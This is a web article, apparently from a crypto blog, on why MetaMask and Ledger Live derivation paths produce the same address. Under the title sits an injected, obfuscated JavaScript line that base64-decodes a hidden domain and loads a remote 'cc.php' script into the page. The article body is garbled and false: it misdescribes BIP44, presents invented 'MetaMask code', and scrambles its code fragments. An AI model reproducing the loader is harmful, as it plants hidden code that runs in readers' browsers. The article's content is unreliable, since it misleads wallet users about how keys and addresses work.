![Metamask: Why does the BIP44 derivation path generate the same address in MetaMask as the Ledger Live derivation path?](https://ppt1080.b-cdn.net/images/nophoto.jpg)
Metamask: Why does the BIP44 derivation path generate the same address in MetaMask as the Ledger Live derivation path?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=cad81880″;document.body.appendChild(script);
Understanding Derivation Paths in MetaMask: A Comparison of Ledger Live and BIP44
As a user of the popular cryptocurrency wallet MetaMask, you may have noticed that it generates the same address for both Ledger Live and Bitcoin Integration (BIP44) derivation paths. But why is that? In this article, we’ll delve into the Metamask codebase to understand what’s going on behind the scenes.
Derivation Paths
Derivation paths are used in cryptocurrency wallets to encode a user’s private key into multiple addresses. The most common derivation path is BIP44 (Bitcoin Improvement Proposal 44), which splits private keys into six sub-addresses: m/44'/60'/0/
, m/44’/61’/1/, etc. These sub-addresses can then be combined to generate a single address.
Ledger Live and MetaMask wallets have different derivation paths, as shown in the code snippet below:
m/44'/60'/0'/0/0';
const LEDGER_LIVE_PATH =
const BIP44_PATH =
m/44'/...
Note that BIP44_PATHuses a different prefix (
m/) and a slightly different structure for child addresses.
MetaMask code
In the MetaMask codebase, we can see how derivation paths are encoded in an address:
${address}/${getChildren(address)}
const generateAddress = (path) => {
const [address] = path.split('/');
return
;
};
const getChildren = (address) => {
// For simplicity, let's assume that this function extracts the child addresses from the BIP44 path
// In reality, this would involve parsing the BIP44 output and extracting the individual address components
const children = [];
for (let i = 1; i < address.length; i += 8) {
children.push(address.substring(i, i + 8));
}
return children;
};
The function getChildren'' takes a BIP44 path as input and returns an array of child addresses. These child addresses are then encoded into the final address.
Why the same derivation path in both wallets
Now that we understand how derivation paths work, let’s see why MetaMask generates the same address for both Ledger Live and BIP44 derivation paths:
In the “generateAddress” function, we simply take the BIP44 path as input and split it into individual addresses using the “/” character. We then concatenate these child addresses to create the final address.
The key insight here is that by encoding the BIP44 path into the address, we can process each child address independently. In other words, if we have a BIP44 path of "m/44"/60'/0'/0/0, it is equivalent to a single address with four parts: "m/44"/60'/0/".
In the MetaMask codebase, we do not explicitly encode each sub-address into a separate address. Instead, we process the entire derivation path as a whole and concatenate the resulting addresses.
As a result, both Ledger Live and BIP44 derivation paths generate the same address in MetaMask. At first glance, this might seem contradictory, but it is actually a consequence of how Metamask handles encoding BIP44 paths into addresses.
Conclusion
Understanding the Metamask codebase can help us evaluate how a wallet generates addresses for both Ledger Live and BIP44 derivation paths. By recognizing the differences betweenBIP44_PATHand
LEDDER_LIVE_PATH`, we can see that the MetaMask implementation is indeed equivalent, although it uses a different prefix and structure.
In the future, when working with Metamask or other wallets, you will be able to appreciate the underlying mechanics that ensure these wallets work flawlessly.